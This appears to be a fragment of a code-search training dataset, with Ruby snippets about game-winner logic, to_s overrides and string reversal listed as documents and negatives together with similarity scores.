"def determine_winner(playerHand, dealerHand)\r\n \r\n Console_Screen.cls \r\n\r\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\r\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\r\n write_log_file(\"Player's hand: \" + playerHand.to_s)\r\n write_log_file(\"Dealer's hand: \" + dealerHand.to_s)\r\n \r\n if playerHand > 21 then \r\n puts \"You have gone bust!\\n\\n\"\r\n write_log_file(\"The Dealer has won!\")\r\n print \"Press Enter to continue.\" \r\n else \r\n if playerHand == dealerHand then\r\n puts \"Tie!\\n\\n\"\r\n write_log_file(\"Tie!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n if dealerHand > 21 then\r\n puts \"The Dealer has gone bust!\\n\\n\"\r\n write_log_file(\"The Player has won!\")\r\n print \"Press Enter to continue.\"\r\n else\r\n if playerHand > dealerHand then\r\n puts \"You have won!\\n\\n\"\r\n write_log_file(\"The Player has won!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n if playerHand < dealerHand then\r\n puts \"The Dealer has won!\\n\\n\"\r\n write_log_file(\"The Dealer has won!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n end \r\n end\r\n\r\n # Number 4 - Log results to file with 50 dashes ***\r\n write_log_file(\"-\" * 50)\r\n \r\n Console_Screen.pause #Pause the game\r\n \r\n end",
"def determine_winner(playerHand, dealerHand)\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Show the value of the player and dealer's hands\r\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\r\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\r\n write_log_file(\"Player's hand: \" + playerHand.to_s)\r\n write_log_file(\"Dealer's hand: \" + dealerHand.to_s)\r\n\r\n if playerHand > 21 then #See if the player has gone bust\r\n puts \"You have gone bust!\\n\\n\"\r\n write_log_file(\"The Player has gone bust.\")\r\n print \"Press Enter to continue.\"\r\n else #See if the player and dealer have tied\r\n if playerHand == dealerHand then\r\n puts \"Tie!\\n\\n\"\r\n write_log_file(\"Tie!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n #Dee if the dealer has gone bust\r\n if dealerHand > 21 then\r\n puts \"The Dealer has gone bust!\\n\\n\"\r\n write_log_file(\"The Dealer has gone bust.\")\r\n print \"Press Enter to continue.\"\r\n else\r\n #See if the player's hand beats the dealer's hand\r\n if playerHand > dealerHand then\r\n puts \"You have won!\\n\\n\"\r\n write_log_file(\"The Player has won!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n #See if the dealer's hand beats the player's hand\r\n if playerHand < dealerHand then\r\n puts \"The Dealer has won!\\n\\n\"\r\n write_log_file(\"The Dealer has won!\")\r\n print \"Press Enter to continue.\"\r\n end\r\n end\r\n end\r\n\r\n write_log_file(\"-\" * 50)\r\n Console_Screen.pause #Pause the game\r\n\r\n end",
"def determine_winner\n result = @data[\"game_tags\"][\"Result\"]\n whites_result = result.split(\"-\")\n if whites_result == \"1\"\n \"White Wins!\"\n elsif whites_result == \"1/2\"\n \"It's a draw!\"\n else\n \"Black Wins!\"\n end\n end",
"def play\n turn until over?\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def winner(p,c)\n if p == c\n output \"It's a Draw!\"\n elsif (\"#{p}\" == 'Rock' && \"#{c}\" == 'Paper')\n output \"Computer wins!\"\n elsif (\"#{p}\" == 'Paper' && \"#{c}\" == 'Scissors')\n output \"Computer wins!\"\n elsif (\"#{p}\" == 'Scissors' && \"#{c}\" == 'Rock')\n output \"Computer wins!\"\n else \"Player wins!\"\n end\nend",
"def win(pick_w)\n case pick_w \n when 'r' \n puts \"You: Rock | Me: Scissors\"\n when 'p'\n puts \"you: Paper | Me: Rock\"\n when 's'\n puts \"you: Scissors | Me: Paper\"\n end\nend",
"def winner\n tie_string = \"\"\n @players.each do |player|\n if @position[player] == @length\n tie_string << \"#{player}\"\n end\n end\n\n if tie_string.length > 1\n return \"no one\"\n else\n return tie_string[0]\n end\n\n end",
"def print_game_result\n # Winners stored in list in case of tie\n winners = []\n highestScore = @player_list[0].score\n\n # Determine who has the highest score\n @player_list.each do |player|\n\n # Highest score thus far is matched\n if highestScore == player.score\n winners.append(player.name)\n # Highest score is beaten\n elsif highestScore < player.score\n # Empty list of winners\n winners.clear\n # Add the current winner's name to the winner list\n winners.append(player.name)\n # Update current high score\n highestScore = player.score\n end\n\n end\n\n # Print the winner(s)\n if winners.size > 1\n puts(\"It's a tie! The winners:\")\n else\n puts(\"Winner:\")\n end\n\n winners.each { |winner| puts(winner) }\n end",
"def display_message(winning_choice)\n case winning_choice\n when 'p'\n puts \"Paper wraps rock!\"\n when 'r'\n puts \"Rock smashes scissors!\"\n when 's'\n puts \"Scissors cuts paper!\"\n end\nend",
"def winner\n\t\ts = {}\n\t\t@vPlayers.each {|player|\n\t\t\ts[player.name.to_s] = player.score.totalScore\n\t\t}\n\t\tmax = s.values.max\n\t\tname = s.select{|k, v| v == max}.keys\n\t\tscore = s.select{|k, v| v == max}.values\n\t\t\n\t\tprint \"The winner is \" + name[0].to_s + \" with a total score of \" + score[0].to_s\n\t\tputs \"\",\"\"\n\t\t\n\tend",
"def print_what_each_player_picked player_picked, comp_picked\n puts \"You picked #{player_picked} and Computer picked #{comp_picked}\"\nend",
"def play_game()\n while true\n puts \"Points won by(1/2)?\"\n point_winner = gets\n\n score = next_score(point_winner.to_i)\n puts \"\\nScore: #{score}\"\n if score.include?('Game won by')\n break\n end\n end\n end",
"def explain_game\n\t\tputs \"In the Secret Number Game, you guess a number between 1 and 10 and, if you pick the right number, you win!\"\n\t\tputs \"Good luck #{@player}!\"\n\tend",
"def show_win\n puts \"Congratulations #{@name}, you've won the game!\"\n puts 'Hangman lives to hang another day!'\n puts \"\\n\"\n end",
"def determine_winner\n \tif self.won?(@player_symbol) then\n \t\t@over = true\n \treturn \"Player\" \n \tend\n \tif self.won?(@computer_symbol) then\n \t\t@over = true\n \t return \"Computer\" \n \tend\n \tif self.open_spots.count == 0 then\n \t\t@over = true\n \t\treturn \"Draw\"\n \tend\n return \"\" \n end",
"def determineWinner() \n\n end",
"def show_winner_and_scores\n display_winner_and_secret_code(@winner, @secret_code)\n display_player_score(@human)\n display_player_score(@machine)\n end"
] |
[
"0.80503815",
"0.77042395",
"0.7629916",
"0.7562705",
"0.75480455",
"0.75182754",
"0.74854726",
"0.7483953",
"0.74825186",
"0.74398243",
"0.7431016",
"0.7406745",
"0.7385483",
"0.7378422",
"0.73668295",
"0.7363375",
"0.7355274",
"0.73551506",
"0.73512566",
"0.73439217",
"0.73333055",
"0.732559",
"0.7293741",
"0.72693616",
"0.7267481",
"0.7267079",
"0.7256871",
"0.72514635",
"0.7251145",
"0.7231992",
"0.722645",
"0.7213243",
"0.7212922",
"0.71974707",
"0.71943766",
"0.7194176",
"0.71918947",
"0.71801347",
"0.716128",
"0.71435905",
"0.7136626",
"0.7130476",
"0.7128795",
"0.71133834",
"0.71129256",
"0.7093355",
"0.7090865",
"0.7089725",
"0.7082861",
"0.7077314",
"0.70761895",
"0.7058408",
"0.70572096",
"0.7056002",
"0.7044803",
"0.70388246",
"0.7034966",
"0.70327926",
"0.7025898",
"0.701762",
"0.7008964",
"0.70020795",
"0.69773626",
"0.69764364",
"0.6972238",
"0.6964809",
"0.69606465",
"0.6957845",
"0.6941575",
"0.69399405",
"0.69371474",
"0.692601",
"0.69259745",
"0.6917438",
"0.6907408",
"0.6903168",
"0.6902983",
"0.6902662",
"0.6895116",
"0.6891997",
"0.6890847",
"0.68858755",
"0.68827474",
"0.68748236",
"0.6868708",
"0.6866551",
"0.68664753",
"0.68550414",
"0.68523914",
"0.68513566",
"0.68510133",
"0.6847895",
"0.68389255",
"0.6831736",
"0.6829289",
"0.68231714",
"0.68213904",
"0.6808007",
"0.6794805",
"0.6790065",
"0.6775227"
] |
0.0
|
-1
|
Instance methods Override to_s method
|
def to_s
self.test_type
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s(*) end",
"def to_s(*) end",
"def to_s(*) end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s\n\t\t\traise NotImplementedError, \"%s does not provide an implementation of #to_s\" %\n\t\t\t\t[ self.class.name ]\n\t\tend",
"def to_s\n raise NotImplementedError\n end",
"def to_s\n raise NotImplementedError\n end",
"def to_s()\n #This is a stub, used for indexing\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n raise NotImplementedError\n end",
"def to_s()\n #This is a stub, used for indexing\n end",
"def to_s()\n #This is a stub, used for indexing\n end",
"def to_s()\n #This is a stub, used for indexing\n end",
"def to_s\n to_text\n end",
"def to_s\n\t\traise \"to_s: Not Implemented\"\n\tend",
"def to_str() end",
"def to_str() end",
"def to_s\n redacted_string(:to_s)\n end",
"def to_s\n redacted_string(:to_s)\n end",
"def to_s\n raise StandardError, \"#{self.class.name}#to_s accessed, must be redefined.\"\n end",
"def to_s\n return @convert\n end",
"def to_s\n return @convert\n end",
"def to_s\n raise NotImplementedError.new(\"#{self.class}#to_s\")\n end",
"def to_s\n super\n end",
"def to_s\n \n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end"
] |
[
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.87102795",
"0.8686291",
"0.8686291",
"0.8686291",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84770256",
"0.84475124",
"0.82478094",
"0.8225025",
"0.8223474",
"0.8204563",
"0.8204563",
"0.8204563",
"0.8204563",
"0.8132437",
"0.81307477",
"0.81307477",
"0.81307477",
"0.8127781",
"0.80976886",
"0.8081492",
"0.8081492",
"0.80711794",
"0.80711794",
"0.8013915",
"0.7997998",
"0.7997998",
"0.79698676",
"0.7961382",
"0.79487586",
"0.7947802",
"0.7947802",
"0.7947802",
"0.7947802",
"0.7947802"
] |
0.0
|
-1
|
Fonction pour inverser un string, le mettre en majuscule et supprimer les L, T, A
|
def reverse_upcase_noLTA(a)
a = a.reverse.upcase.gsub /[LTA]/, ""
return a
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reverse_upcase_noLTA(string)\n string = string.downcase\n string = string.delete \"a\"\n string = string.delete \"l\"\n string = string.delete \"t\"\n string = string.upcase\n string = string.reverse\n return string\nend",
"def reverse_upcase_noLTA(s1)\n\n\n\ts1 = s1.upcase.reverse\n\ts1 = s1.tr('T', '')\n\ts1 = s1.tr('A', '')\n\ts1 = s1.tr('L', '') \n\n\treturn s1\n\nend",
"def reverser\n str = yield\n words = str.split(\" \")\n\n words.each do |word|\n word.reverse!\n end\n words.join(\" \")\nend",
"def solution(str)\n str.reverse\nend",
"def reverse_upcase_noLTA(string)\n nouveaustring = string.reverse.upcase.tr(\"LTA\", \"\")\n p nouveaustring\nend",
"def reverse_upcase_noLTA(str)\n new_str = str.upcase.reverse.delete('TLA')\n \n new_str\nend",
"def solution(str)\n str.reverse\nend",
"def reverse_string(s)\n s.reverse!\nend",
"def reverse_upcase_noLTA(string)\n\treturn string.reverse.upcase.delete!'AaTtLl'\nend",
"def reverse_string_order(s)\n s.unpack(\"U*\").map{|code| -code}\n end",
"def reverse_upcase_noLTA(string)\n\tstring.reverse.upcase.tr('A','').tr('L', '').tr('T','')\nend",
"def reverse(s)\nend",
"def reverse_upcase_noLTA(str)\n str.upcase.reverse.delete\"LTA\"\nend",
"def reversal(string)\n string.split.reverse.join(' ')\nend",
"def reverser( &block )\n\n\tblock.call.split(\" \").map { | w | w.reverse }.join(\" \")\n\nend",
"def letter_reverse str\n str.reverse!\nend",
"def reverse(string)\n \n string.reverse!\nend",
"def reverse(string)\nend",
"def reverse_upcase_noLTA(phrase)\n\tcapital = phrase.upcase\n\treverse = capital.reverse\n\treturn reverse.delete \"T\" + \"A\" + \"L\"\t\nend",
"def rearranger(str)\nstr = str.split(' ')\nfinal = str.reverse.join(' ')\nfinal = final.downcase\nend",
"def reverse_a_string(string)\n letter = string.split(\"\")\n reversed_string =[]\n reversed_string.each do |letter|\n reversed_string.unshift(letter)\n end\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(' ')\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def switch(string)\n forward = string.split('')\n reverse = []\n counter = -1\n until reverse.length == forward.length\n reverse << forward[counter]\n counter -= 1\n end\n reverse.join\nend",
"def vowel string\n # string = string.split(\"\")\n # string = string.downcase\n string = string.delete 'AaEeIiOoUu'\n # string = string.capitalize\n\nend",
"def string_reverse(my_string)\n if my_string == \"\"\n return my_string\n elsif my_string.nil?\n return nil\n else\n\n length = my_string.length\n count = length / 2\n count.times do |i|\n temp = my_string[i]\n my_string[i] = my_string[length - i - 1]\n my_string[length - i - 1] = temp\n end\n end\n return my_string\nend",
"def LetterChanges(str)\r\n str = str.split(\"\")\r\n str.each do |x|\r\n x.next! if x =~ /[a-z]/\r\n x.upcase! if x =~ /[aeiou]/\r\n end\r\n return str.join(\"\")\r\nend",
"def reverse_inplace(str)\n (0..(str.length/2)-1).each do |i|\n str[i], str[-i-1] = str[-i-1], str[i]\n end\n return str\nend",
"def reverse_inplace(s)\n\treturn reverse_helper(s, 0, (s.length - 1))\nend",
"def reverse_inplace(s)\n # Input validation\n return nil if s == nil\n return '' if s.length == 0 \n i = 0\n j = s.length-1\n reverse_helper(s, i, j)\n return s \nend",
"def reverser\n words= yield.split\n for word in words\n word.reverse!\n end\n words.join(\" \")\nend",
"def reverse_upcase_noLTA(p1)\n\tp1.reverse.upcase.delete \"LTA\" \nend",
"def invert(str)\n str_index = 0\n inverse = TextOperation.new\n\n @ops.each do |op|\n if retain_op?(op)\n inverse.retain(op)\n str_index += op\n elsif insert_op?(op)\n inverse.delete(op.length)\n else # delete op\n inverse.insert(str.slice(str_index, -op))\n str_index -= op\n end\n end\n\n return inverse\n end",
"def string_reverser(str)\n new_arr = []\n reversed_array = str.split(\"\")\n\n reversed_array.length.times do |letter|\n new_arr << reversed_array.pop # maybe it's not a good idea to mutate the string in the middle of iteration\n end\n return new_arr\nend",
"def string_reverse(my_string)\r\n if my_string == nil \r\n return nil\r\n elsif my_string != \"\"\r\n k = my_string.length / 2\r\n i = 0\r\n j = -1\r\n temp = \"\"\r\n k.times do\r\n temp = my_string[i]\r\n my_string[i] = my_string[j]\r\n my_string[j] = temp\r\n i += 1\r\n j -= 1\r\n end\r\n end\r\n return my_string \r\nend",
"def flip(str, spec)\n\tif spec == 'word'\n\t\ts = str.split(' ') #split str into words\n\t\ts1 = []\n\t\ts.each {|n| s1.push(n.reverse)}\n\t\ts1.join ' '\n\telsif spec == 'sentence'\n\t\ts = str.split(' ') #split str into words\n\t\ts1 = []\n\t\ts.each {|n| s1.unshift(n)}\n\t\ts1.join ' '\n\tend\nend",
"def reverse_inplace(s)\n return \"\" if s == \"\"\nend",
"def reverse_string(str)\nend",
"def nonrptchar(string)\n strcpy = string.reverse.chars\n while strcpy != nil do \n y = strcpy.pop\n if strcpy.include? y\n strcpy.delete(y)\n else\n return y\n end\n end\nend",
"def translate(sentence)\n sentence=sentence.split(//)\n #sentence=sentence.push(\"a\",\"y\")\n if sentence[0]==\"a\" or sentence[0]==\"e\" or sentence[0]==\"i\" or sentence[0]==\"o\" or sentence[0]==\"u\"\n sentence=sentence.push(\"a\",\"y\")\n else\n #sentence.delete(sentence[0])\n sentence.push(sentence[0],\"a\",\"y\")\n sentence.slice!(0)\n #sentence=sentence.push(\"a\",\"y\")\n end\n return sentence.join\nend",
"def reverser\n if block_given?\n string = yield\n words = string.split(' ')\n words.each {|word| word.reverse!}\n words.join(' ')\n end\nend",
"def reverse_inplace(s)\n b = 0\n e = s.length - 1\n reverse_inplace_helper(b,e,s)\n return s\nend",
"def reverser\nwords=yield.split(\" \")\noutpt=\"\"\nwords.map do\n |w|\noutpt= outpt + w.reverse + \" \"\n end\noutpt [0...-1]\nend",
"def reverse_only_letters(s)\n i = 0\n j = s.length - 1\n while i < j\n if !s[i].match(/[[:alpha:]]/)\n i += 1\n elsif !s[j].match(/[[:alpha:]]/)\n j -= 1\n else\n s[i], s[j] = s[j], s[i]\n i += 1\n j -= 1\n end\n end\n return s\nend",
"def reverse_string(string)\n #time complexity and space compexity O(n), there are 2 loops but they are not nested\n #each loop is O(n)\n return nil if string.class != String #check if input os correct\n local_stack = Stack.new() #create new Stack instance\n string.each_char do |char| #insert all character from string into stack\n local_stack.push(char)\n end\n string.length.times do |i| #reassign characters with stack values (FILO)\n string[i] = local_stack.pop()\n end\n string\nend",
"def string_reverse(my_string)\r\n if my_string != nil\r\n a = 0\r\n b = my_string.length - 1\r\n temp = nil\r\n while a < b\r\n temp = my_string[a]\r\n my_string[a] = my_string[b]\r\n my_string[b] = temp\r\n a += 1\r\n b -= 1\r\n end\r\n end\r\nend",
"def translate(phrase)\nstring = phrase.split() \nstring.each do |string|\n\tif string.start_with?(\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"z\")\n\t\treverse = string.reverse!\n\t\tpig = reverse + \"ay\"\n\t\treturn pig\n\telsif string.start_with?(\"a\",\"e\",\"i\",\"o\",\"u\",\"y\")\n\t\treturn string + \"ay\"\n\t# elsif string.slice(0, 2)? (\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"z\")\n\t# \treverse = string.reverse!\n\t# \tstring.except[string.slice(0, 2)]\n\t# \tpig = reverse + \"ay\"\n\telse \n\t\tprint \"L'entrée est de type inconnue\"\n\tend\nend\nend",
"def reverse_words_refactor(string)\n jumbled_letters = string.split(\" \").each {|word| word.reverse!}.join(\" \")\nend",
"def q5_reverse(str)\n str.split('').reverse.join('')\nend",
"def reverse_inplace(s)\n return reverse_helper(s, 0 , s.length - 1) \nend",
"def string_reverse(my_string)\r\n return if my_string == nil || my_string.length < 1\r\n i = 0 #first ele\r\n j = my_string.length - 1 #last ele\r\n while i < j # until position of first ele meets last, so there is the center element in between\r\n temp = my_string[i] #stores frist ele in temp\r\n my_string[i] = my_string[j] #sets first ele to the last ele's position\r\n my_string[j] = temp #sets last element to first ele's position\r\n i += 1 #increment\r\n j -= 1\r\n end\r\n return my_string\r\nend",
"def compare_and_remove_chars(string)\n index_array = []\n char_array = string.split(\"\")\n index = 0\n until index >= string.length\n char = char_array[index]\n next_char = char_array[index + 1]\n # can't just make case equal and compare chars like this\n # next_char_match = next_char.upcase == char.downcase\n # match is if the cases are opposite so `aA` is a match\n next_char_match =\n next_char == (char.match?(/[[:lower:]]/) ? char.upcase : char.downcase)\n if next_char_match\n index_array << index\n index_array << index + 1\n index += 2\n else\n index += 1\n end\n end\n index_array.reverse_each { |i| char_array.delete_at(i) }\n new_string = char_array.join\n if new_string.length == string.length\n new_string\n else\n compare_and_remove_chars(new_string)\n end\nend",
"def palindrome_substrings(string)\n\nend",
"def reverse_inplace(s)\n return s if s.length <= 1\n\n s = s.split('')\n first = s[0]\n last = s[s.length-1]\n s.shift\n s.pop\n\n s = reverse_inplace(s.join(''))\n s = s.split('')\n s.unshift(last)\n s.push(first)\n return s.join('')\nend",
"def LetterChanges(str)\n str = str.split(\"\")\n \n str.each do |c|\n c.next! if c =~ /[a-z]/\n c.upcase! if c =~ /[aeiou]/\n end\n \n return str.join\nend",
"def string_reverse(my_string)\r\n return nil if my_string.nil?\r\n n = my_string.length\r\n i = 0\r\n j = n-i-1\r\n\r\n while i < j do\r\n memo = my_string[i]\r\n my_string[i] = my_string[j]\r\n my_string[j] = memo\r\n i = i+1\r\n j = j-1\r\n end\r\nend",
"def reverse_string_5(string)\n string = string.to_s\n result = ''\n string.split('').each_index do |i|\n result += if i != 0\n string[-1 * (i + 1)]\n else\n string[i - 1]\n end\n end\n result\nend",
"def reversify(string)\n rev = []\n\n string.scan(/\\w/).each do |letter|\n rev.insert(0, letter)\n end\n\n puts rev.join\nend",
"def swap(string)\n\tswapper = string.split\n\tstring = swapper.reverse.join(\" \")\n\tstring.downcase!\n\tvowels = \"aeioua\"\n\tcon = \"bcdfghjklmnpqrstvwxyzb\"\n\tindex = 0\n\tfinal_string = \"\"\n\tstring.length.times do |index|\n\t\tif !con.include?(string[index]) && !vowels.include?(string[index])\n\t\t\tfinal_string.concat(\" \")\n\t\t\telsif vowels.include?(string[index])\n\t\t\tnext_vowel = vowels[vowels.index(string[index]) +1]\n\t\t\tfinal_string << next_vowel\n\t\t\telsif con.include?(string[index])\n\t\t\tnext_con = con[con.index(string[index]) +1]\n\t\t\tfinal_string << next_con\n\t\tend\n\t\tindex += 1\n\tend\n\tfinal_string = final_string.split.map! { |x| x.capitalize }.join(' ')\n\tfinal_string\nend",
"def reverse(string)\n\tstring.reverse\nend",
"def reverse(string)\n\tstring.reverse\nend",
"def reverse(string)\n\tstring.reverse\nend",
"def reverse_inplace(s)\n return reverse_helper(s, 0, s.length - 1)\nend",
"def reverse_inplace(s)\n return reverse_helper(s, 0, s.length - 1)\nend",
"def inversed; end",
"def rev_smash(sentence) \r\n sentence= sentence.split.map { |s| s }.reverse \r\n return sentence.join(' ') \r\nend",
"def reverse_string string \n\tstring.reverse\nend",
"def reverseString(string)\n\nend",
"def reversal2(string)\n array = string.split\n array.map! do |word|\n if word.length >= 5\n word.reverse\n else\n word\n end\n end\n array.join(' ')\nend",
"def rev(str)\n new_string = str.gsub(/(\\s|,|\\.)/,\"\")\n newer_string = str.gsub(/(\\s|,|\\.)/,\"\").split(\"\").reverse.join(\"\")\n p newer_string === new_string\nend",
"def reverse_inplace(s)\n return s if s.length == 0\n return s if s.length == 1\n\n reverse_helper(s, 0, s.length - 1)\n return s\nend",
"def reverse_inplace(s)\n return reverse_helper(s, 0, s.length-1)\nend",
"def iterative_reverse_string(string)\n reversed_string = ''\n string.each_char {|c| reversed_string.prepend(c)}\n reversed_string\nend",
"def reverse_string(string)\nreturn string.reverse\nend",
"def reverse_inplace(s)\n return reverse_helper(s, 0, s.length - 1)\nend",
"def reverse_string string\n\tstring.reverse\nend",
"def step0(str)\n return false unless str =~ /(se(l[ao]s?)?|l([aeo]s?)|me|nos)$/i\n\n suffix = $&\n rv_text = str[rv(str)..-1]\n\n case rv_text\n when %r{((?<=i[éÉ]ndo|[áÁ]ndo|[áéíÁÉÍ]r)#{suffix})$}ui\n str[%r{#$&$}]=''\n str.replace(remove_accent(str))\n return true\n when %r{((?<=iendo|ando|[aei]r)#{suffix})$}i\n str[%r{#$&$}]=''\n return true\n end\n\n if rv_text =~ /yendo/i and str =~ /uyendo/i\n str[suffix]=''\n return true\n end\n false\n end",
"def string_reverse (my_string, s_index, e_index)\n i = s_index\n j = e_index\n\n while i < j\n temp = my_string[i]\n my_string[i] = my_string[j]\n my_string[j] = temp\n\n i += 1\n j -= 1\n end\n return\nend",
"def reverse_string(string)\r\n return string.reverse\r\nend",
"def reverse_string input\n input.reverse\nend",
"def invert() end",
"def reverse_only_letters(s)\n letters = []\n alphabet = (\"a\"..\"z\").to_a\n \n s.each_char do |char|\n letters << char if alphabet.include?(char.downcase)\n end\n \n s.each_char.with_index do |char, idx|\n s[idx] = letters.pop if alphabet.include?(char.downcase)\n end\n s\nend",
"def reverse_inplace(s)\n return reverse_helper(s)\nend",
"def my_reverser(name)\n\tif name.is_a? String \n\t\tname.reverse()\n\telse\n\t\t#throw and error\n\t\traise \"Error occured\"\n\tend\nend",
"def real_palindrome?(string)\n # clean_string = string.downcase.delete(\"^a-z0-9\")\n clean_string = string.downcase.gsub(/[^a-z0-9]/, '')\n puts clean_string\n clean_string == clean_string.reverse\nend",
"def reverse_complement(txt)\n comp = []\n txt.chars.each do |ch|\n comp << \"A\" if ch == 'T'\n comp << \"T\" if ch == 'A'\n comp << \"G\" if ch == 'C'\n comp << \"C\" if ch == 'G'\n end\n comp.join.reverse\nend",
"def string_reverse(my_string)\r\n if my_string == nil\r\n return nil\r\n elsif my_string.length == 1\r\n return my_string\r\n else\r\n origin = my_string.length - 1\r\n target = 0\r\n temp = nil\r\n (my_string.length / 2).times do\r\n temp = my_string[target]\r\n my_string[target] = my_string[origin]\r\n my_string[origin] = temp\r\n origin -= 1\r\n target += 1\r\n end\r\n end\r\n return my_string\r\nend",
"def reverse(s)\n s.reverse\nend",
"def string_reverse(my_string)\r\n return my_string if my_string == nil\r\n\r\n i = 0\r\n j = my_string.length - 1\r\n\r\n while i < j\r\n b = my_string[i]\r\n my_string[i] = my_string[j]\r\n my_string[j] = b\r\n\r\n i += 1\r\n j -= 1\r\n end\r\n\r\n return my_string\r\nend",
"def reverse_inplace(s, i = 0, j = -1)\n n = s.length \n if i == n / 2 \n return s \n else \n letter = s[i]\n s[i] = s[j]\n s[j] = letter \n reverse_inplace(s, i + 1, j - 1)\n end \nend",
"def reversal(sentence)\n sentence.split(' ').reverse.join(' ')\nend",
"def vwl_rmv string\n # .downcase changes to lowercase, .delete! removes vowels\n string.downcase.delete!('aeiou')\nend",
"def replace_adjacent_characters(string)\n if !string.include?(\"a\")\n @string.sub!(string, \"a\")\n elsif !string.include?(\"b\")\n @string.sub!(string, \"b\")\n else\n @string.sub!(string, \"c\")\n end\n end",
"def norm_string(s)\n s.chars.sort!\nend"
] |
[
"0.6603916",
"0.6383868",
"0.6320998",
"0.6304817",
"0.6295204",
"0.62948227",
"0.6266459",
"0.6229937",
"0.6216116",
"0.61924094",
"0.6166164",
"0.61507154",
"0.6138225",
"0.60931486",
"0.6073247",
"0.6053886",
"0.60527736",
"0.6029099",
"0.59938943",
"0.59864354",
"0.59489125",
"0.5948797",
"0.59474266",
"0.59474266",
"0.59474266",
"0.59474266",
"0.59474266",
"0.59474266",
"0.59474266",
"0.59277505",
"0.5920633",
"0.59087944",
"0.5898645",
"0.5897578",
"0.58943546",
"0.58893746",
"0.5888815",
"0.58880174",
"0.5885355",
"0.5874165",
"0.5871274",
"0.5868596",
"0.58646554",
"0.586043",
"0.5848764",
"0.5847565",
"0.58345425",
"0.58277017",
"0.58226913",
"0.5822588",
"0.58162355",
"0.581436",
"0.58119184",
"0.58116573",
"0.5806834",
"0.5797986",
"0.5777121",
"0.5772993",
"0.57690066",
"0.57688093",
"0.5768787",
"0.57684004",
"0.57568973",
"0.57543314",
"0.57533216",
"0.5753106",
"0.5753106",
"0.5753106",
"0.57520986",
"0.57520986",
"0.5751047",
"0.5744282",
"0.5740292",
"0.5735128",
"0.57312876",
"0.5725995",
"0.5721274",
"0.5717657",
"0.5713069",
"0.571289",
"0.5712291",
"0.5710557",
"0.5705115",
"0.5704164",
"0.57035595",
"0.569794",
"0.56964695",
"0.56915814",
"0.5690362",
"0.5689911",
"0.5688598",
"0.56812185",
